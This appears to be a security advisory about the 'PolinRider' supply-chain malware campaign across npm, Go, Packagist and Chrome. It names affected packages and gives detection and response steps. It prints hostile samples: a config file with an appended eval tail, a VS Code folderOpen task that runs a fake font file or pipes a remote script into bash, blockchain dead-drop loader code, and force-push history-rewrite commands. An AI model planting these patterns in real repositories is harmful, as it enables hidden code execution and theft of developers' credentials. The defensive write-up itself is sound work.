critical

CVE

Not assigned

CWE

CWE-506, CWE-94, CWE-494, CWE-200

Affected Surface

162 malicious artifacts across 108 packages and extensions spanning npm, Go, Packagist, and Chrome, Named npm examples include tailwindcss-style-animate 1.1.6, tailwind-mainanimation 2.3.3, and tailwind-autoanimation 2.3.6, Named repo and module examples include github.com/Xpos587/git2md, Xpos587/markfetch, Artiffusion-Inc/mirofish, and 7span/react-list, Developer workstations, CI runners, and VS Code environments that installed affected packages or opened weaponized repositories

On 1 July 2026, Socket disclosed that the PolinRider campaign had expanded from its earlier npm-centric footprint into a broader cross-ecosystem compromise affecting 162 malicious release artifacts across 108 packages and extensions. The new count matters, but the more important technical point is that the operator is not inventing a new payload family for each ecosystem. The same small set of execution and anti-forensics tricks now appears anywhere the attacker can obtain maintainer or publishing access: npm packages, Go modules, Packagist projects, and at least one Chrome extension.

That makes this less of a “bad package” story and more of a developer-environment compromise pattern. Public reporting from Socket and OpenSourceMalware shows the same four building blocks repeating:

  1. append obfuscated JavaScript after legitimate project code
  2. hide or trigger the loader through normal developer tooling
  3. fetch a second stage from public blockchain infrastructure
  4. rewrite Git history so the malicious change looks older than it is

What is publicly confirmed as affected

Socket’s July 1 update confirms the broad campaign counts, but the public named inventory is still incomplete and expanding. The table below focuses on artifacts and projects that are explicitly named in the available reporting.

EcosystemConfirmed affected package or projectKnown malicious version or stateWhat is publicly confirmed
npmtailwindcss-style-animate1.1.6Used as the malicious dependency in the weaponized ShoeVista take-home project cluster
npmtailwind-mainanimation2.3.3Tailwind-adjacent impostor package; later replaced with 0.0.1-security
npmtailwind-autoanimation2.3.6Malicious package with payload appended to src/index.js
npmtailwindcss-typography-style0.8.2Publicly tracked as malicious in the same package family
npmtailwindcss-style-modify0.8.3Publicly tracked as malicious in the same package family
npmtailwindcss-animate-style1.2.5Publicly tracked as malicious in the same package family
Go modulesgithub.com/Xpos587/git2mdmalicious published module releaseSocket explicitly calls out the published malicious Go module after repository compromise
GitHub repos linked to Go waveXpos587/markfetch, Artiffusion-Inc/mirofishcompromised repositoriesUsed as public examples of the same operator and loader-hiding methods
Packagist / Composersevenspan namespace10 affected packages in totalPublic reporting confirms the namespace and campaign count, but not the full public package-name list
Packagist-linked repo7span/react-listcompromised repositoryNamed by Socket as a concrete indicator tied to the Packagist wave
Chrome extensionone unnamed extensionactive campaign artifactSocket confirms one extension in the 108-artifact set, but the public July 1 post does not name it

The asymmetry in public detail is important. We have strong confirmation that the campaign crossed ecosystems, but only a partial named inventory in the public reporting available today. Defenders should therefore treat the named set as representative, not exhaustive.

Config-file injection is still the primary execution surface

The oldest PolinRider trick still matters because it looks like ordinary frontend plumbing. Instead of adding an obvious postinstall hook, the malware appends code after a legitimate config export in files such as:

postcss.config.mjs
postcss.config.js
tailwind.config.js
eslint.config.mjs
next.config.mjs
vite.config.js
babel.config.js

The visible shape is simple and effective:

export default defineConfig({
  plugins: [tailwindcss(), autoprefixer()]
});

// malicious tail appended after the legitimate config body,
// often padded far off-screen with whitespace
global["_V"] = "8-st14";
var MDy = "...";
eval(MDy(...));

This placement matters because the code runs in a file the build tool already imports. A reviewer who checks that the “real” config keys look normal can still miss the appended payload if the malicious tail is hidden after a long whitespace gap or only shows up in a diff with horizontal scrolling.

The newer variant turns font files and VS Code tasks into an execution chain

The July reporting also confirms a newer execution path: the JavaScript loader is stored in a fake .woff2 file, then launched through .vscode/tasks.json when a developer opens the folder. That avoids the telltale “malicious code in a config file” signature while still keeping execution close to normal developer behavior.

A simplified public-research shape looks like this:

{
  "label": "sync-config",
  "type": "shell",
  "command": "node public/fonts/fa-solid-400.woff2",
  "runOptions": {
    "runOn": "folderOpen"
  }
}

Other observed tasks use remote bootstrap commands rather than local fake-font execution:

{
  "label": "environment-setup",
  "type": "shell",
  "command": "curl -fsSL https://default-configuration.vercel.app/settings/linux?flag=<id> | bash",
  "runOptions": {
    "runOn": "folderOpen"
  }
}

That means a repository can now be dangerous even before a package manager resolves anything. Opening the folder in VS Code can be enough to start the chain.

The second stage is a blockchain-backed dead drop

Socket and OpenSourceMalware both describe the same broad loader architecture: the local JavaScript reconstructs itself, reaches public blockchain infrastructure for encrypted payload material, decrypts the response with embedded XOR keys, and executes the resulting code with eval().

The execution flow can be reduced to:

const tronPayload = await getJson(
  "https://api.trongrid.io/v1/accounts/<wallet>/transactions?only_confirmed=true&only_from=true&limit=1"
);

const aptosFallback = await getJson(
  "https://fullnode.mainnet.aptoslabs.com/v1/accounts/<address>/transactions?limit=1"
);

const decrypted = xorDecrypt(encryptedStage, "2[gWfGj;<:-93Z^C");
eval(decrypted);

require("child_process").spawn("node", ["-e", decrypted], {
  detached: true,
  stdio: "ignore",
  windowsHide: true
});

Several details are worth calling out:

  • the local package or repository payload is only the loader, not the full malware
  • public blockchain data is used as a dead drop for second-stage retrieval
  • XOR keys are embedded locally, so the loader can reconstruct executable code without contacting a conventional malware domain first
  • detached child-process execution lets the second stage survive beyond the original build or editor action

Observed follow-on payloads publicly associated with this loader include DEV#POPPER and OmniStealer. OpenSourceMalware also ties the broader chain to BeaverTail-style follow-on tradecraft. The safest wording for defenders is that the loader is a reusable execution substrate, not a single fixed payload.

Git history rewriting is part of the malware, not just a cleanup step

One of the most operationally important details in the public tracker is temp_auto_push.bat, a propagation and anti-forensics script left behind in many victim repositories. The script rewinds the local system clock, amends the latest commit, and force-pushes the rewritten history while preserving the original commit message and timestamp.

The core logic looks like:

git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
git push -uf origin %CURRENT_BRANCH% --no-verify

That snippet is not interesting by itself. The important context is the surrounding logic:

  • read the original commit author, date, time, and message with git log -1
  • set the local Git identity to match that author
  • temporarily change the Windows system clock to the prior commit timestamp
  • amend the commit
  • restore the real clock and force-push

In practice, that means the default GitHub file view can look normal while the Activity view or reflog-equivalent evidence shows that history was rewritten later. This is why ordinary “latest commit looks old” reasoning is not trustworthy for this campaign.

Why this belongs on AppSec and build-security dashboards

PolinRider is dangerous because the compromise point sits exactly where developer trust is highest:

  • build configs
  • dependency installs
  • editor automation
  • repository history
  • maintainer publish workflows

Once one of those paths executes, the attacker is operating in the same context as the developer or CI job:

process.env
.env files
.npmrc and package registry tokens
GitHub and Git credentials
cloud and Kubernetes credentials
workspace source code
IDE and editor settings

This is a strong example of why “no suspicious runtime behavior in the shipped app” is the wrong security boundary. The compromise happens before the application ever starts.

Detection and scoping

Start by hunting for the public file and loader indicators:

rg -n \
  "rmcej%otb%|Cot%3t=shtP|global\\['_V'\\]|global\\['!'\\]|_\\$_1e42|MDy|TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP|fullnode\\.mainnet\\.aptoslabs\\.com|default-configuration\\.vercel\\.app" \
  .

Search for the VS Code task trigger and suspicious fake-font execution:

rg -n '"runOn"\\s*:\\s*"folderOpen"|\\.woff2|curl -fsSL|wget .*vercel\\.app' .vscode . public static assets

Search package manifests and lockfiles for the publicly named npm artifacts:

rg -n \
  "tailwindcss-style-animate|tailwind-mainanimation|tailwind-autoanimation|tailwindcss-typography-style|tailwindcss-style-modify|tailwindcss-animate-style" \
  package.json package-lock.json pnpm-lock.yaml yarn.lock

And if a repository may have been modified locally, inspect for Git-history tampering artifacts:

rg -n "temp_auto_push\\.bat|config\\.bat" .
git reflog --date=iso

For GitHub-hosted repositories, review Activity and force-push events rather than trusting only the current branch view.

Response guidance

Treat any installation of an affected package version, and any VS Code open of a weaponized repository, as code execution on the host.

  1. Preserve lockfiles, package caches, Git metadata, and editor config before cleanup.
  2. Rebuild affected workstations or CI runners from clean images where possible.
  3. Rotate every credential exposed to the host: GitHub, npm, cloud, Docker, SSH, CI, chat, and deployment secrets.
  4. Audit repositories for hidden .vscode/tasks.json automation, off-screen config tails, and history rewrites.
  5. Re-pin dependencies from known-good lockfiles instead of re-running floating installs.
  6. Re-scan repositories that were “cleaned” earlier; public reporting shows the operator re-infecting prior victims with a rotated obfuscator.

The most important lesson from the July 2026 PolinRider expansion is not that the campaign reached 108 public artifacts. It is that the same loader, the same execution paths, and the same anti-forensics strategy now move fluidly between ecosystems. Once attackers compromise the maintainer or the publish path, npm, Go, Packagist, and IDE automation all become equivalent delivery surfaces.

References